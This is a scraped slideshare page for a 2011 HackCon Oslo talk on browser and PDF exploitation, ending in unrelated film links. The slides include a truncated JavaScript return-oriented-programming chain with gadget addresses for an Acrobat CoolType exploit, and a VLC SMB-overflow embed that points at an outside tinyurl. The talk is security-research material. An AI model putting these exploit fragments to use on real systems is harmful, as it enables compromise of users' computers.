W.E.B 2011 - The good, the bad, the ugly

67 %
33 %
Information about W.E.B 2011 - The good, the bad, the ugly

Published on February 16, 2011

Author: saumilshah

Source: slideshare.net


My presentation at HackCon #6, Oslo.

W.E.B. 2011The good, the bad, the ugly Saumil Shah HackCon Oslo, 2011

# who am i Saumil Shah, CEO Net-square LinkedIn: saumilshah

"The amount of intelligence in the world is constant. And the population is increasing."


5 33% MORE!

5 With JIT!Fights DEP, ASLR!

5 Worldwide coverage, Hides your tracks.

5 ...as never seen before!

5 GUARANTEED!! Fresh new bugs, Present on most computers

It's time for some sploitz!

Obfuscated Javascript decoded without using eval, document.write, etc. See no eval! Acrobat CoolType exploit IE+JNLP exploit

High Tech vs. Low Tech Acrobat CoolType exploit Return Oriented Programming code Escape-From-PDF No fancy tricks

This iz what ?

I'm an evil Javascript I'm an innocent image

function packv(n){var s=new Number(n).toString(16);while(s.length<8)s="0"+s;return(unescape("%u"+s.substring(4,8)+"%u"+s.substring(0,4)))}var addressof=new Array();addressof["ropnop"]=0x6d81bdf0;addressof["xchg_eax_esp_ret"]=0x6d81bdef;addressof["pop_eax_ret"]=0x6d906744;addressof["pop_ecx_ret"]=0x6d81cd57;addressof["mov_peax_ecx_ret"]=0x6d979720;addressof["mov_eax_pecx_ret"]=0x6d8d7be0;addressof["mov_pecx_eax_ret"]=0x6d8eee01;addressof["inc_eax_ret"]=0x6d838f54;addressof["add_eax_4_ret"]=0x00000000;addressof["call_peax_ret"]=0x6d8aec31;addressof["add_esp_24_ret"]=0x00000000;addressof["popad_ret"]=0x6d82a8a1;addressof["call_peax"]=0x6d802597;function call_ntallocatevirtualmemory(baseptr,size,callnum){var ropnop=packv(addressof["ropnop"]);var pop_eax_ret=packv(addressof["pop_eax_ret"]);var pop_ecx_ret=packv(addressof["pop_ecx_ret"]);var mov_peax_ecx_ret=packv(addressof["mov_peax_ecx_ret"]);var mov_eax_pecx_ret=packv(addressof["mov_eax_pecx_ret"]);var mov_pecx_eax_ret=packv(addressof["mov_pecx_eax_ret"]);var call_peax_ret=packv(addressof["call_peax_ret"]);var add_esp_24_ret=packv(addressof["add_esp_24_ret"]);var popad_ret=packv(addressof["popad_ret"]);var retval="" <CANVAS>

100% Pure Alphanum!

VLC smb overflow - HTMLized!! <embed type="application/x-vlc-plugin" width="320" height="200" target="http://tinyurl.com/ycctrzf" id="vlc" /> I'm in ur browser.... ...blowin up ur g00dz pwn

OMG! Teh Intarwebz are broken!

W3C "I don't think it's ready for production yet," especially since W3C still will make some changes on APIs, said Le Hegaret. "The real problem is can we make HTML5 work across browsers and at the moment, that is not the case." [6th October 2010]

Application Delivery The Web at present Authentication Statefulness Data Typing Non-mutable HTTP HTML AJAX Flash Sandbox HTML5 Anti-XSS WAF Silverlight Web sockets MIND THE GAP

Who you gonna call?

howstuffworks - Anti Virus YER NOT ON THE LIST! COME ON IN.

AV Jedi Mind Trick These are not the sploitz you're looking for.

0-day to the Face! "To get our new signature files you need a valid support plan."

...and keep on patching

The Solution? HTML 8.0 HTTP 2.0 Browser Security Model Self Contained Apps

kthxbai saumil@net-square.com www.net-square.com

Add a comment

Related presentations

Presentación que realice en el Evento Nacional de Gobierno Abierto, realizado los ...

In this presentation we will describe our experience developing with a highly dyna...

Presentation to the LITA Forum 7th November 2014 Albuquerque, NM

Un recorrido por los cambios que nos generará el wearabletech en el futuro

Um paralelo entre as novidades & mercado em Wearable Computing e Tecnologias Assis...

Microsoft finally joins the smartwatch and fitness tracker game by introducing the...

Related pages

The Good, the Bad and the Ugly - Wikipedia, the free ...

The Good, the Bad and the Ugly was marketed as the third and final installment in the Dollars Trilogy, ...
Read more

Proms 2011 - The Good, The Bad and The Ugly - YouTube

Keith Lockhart conducts BBC Concert Orchestra performing Ennio Morricone's soundtrack to The Good, The Bad and The Ugly at the Royal Albert Hall ...
Read more

The Good, the Bad and the Ugly (1966) - IMDb

The Good, the Bad and the Ugly Il ... created 13 May 2011 Already watched. a list of 31 titles created 29 Jan 2012 My 60 ...
Read more

The Good the Bad and the Ugly (Final Scene) - YouTube

The Good, the Bad and the Ugly Theme • Ennio Morricone - Duration: 2:42. ... The Good, The Bad and The Metallica - Duration: 6:20.
Read more

The Good, the Bad and the Ugly Trailer - IMDb

The Good, the Bad and the Ugly: Related Names: Clint Eastwood: Content Rating: Not Rated: Video URL: http://www.imdb.com/video/screenplay/vi2789278233 ...
Read more

The Good The Bad And The Ugly 1966 - Video Dailymotion

The Good, the Bad and the Ugly (1966) ORIGINAL FULL MOVIE ... From "The Good, The Bad & The Ugly" by BestSoundtracksEver. 244 views . 01:41
Read more

The Good, the Bad and the Ugly (soundtrack) - Wikipedia ...

The Good, the Bad and the Ugly; Once Upon a Time in the West; La Piovra; The Mission; The Legend of 1900; Malèna; The Hateful Eight; Compilations and ...
Read more

Ennio Morricone: The good, the bad and the ugly - Music on ...

The Good The Bad The Ugly Awsome love it my favorite movie ever along with a fistful of dollars , ... 2011. Label © 2011 EMI Music Publishing Italia Srl
Read more

The Good, the Bad & the Ugly - Ennio Morricone: Amazon.de ...

The Good, the Bad & the Ugly Soundtrack, Import, Original Recording Remastered. Ennio Morricone Format: Audio CD. ... Dezember 2011. Format: MP3-Download.
Read more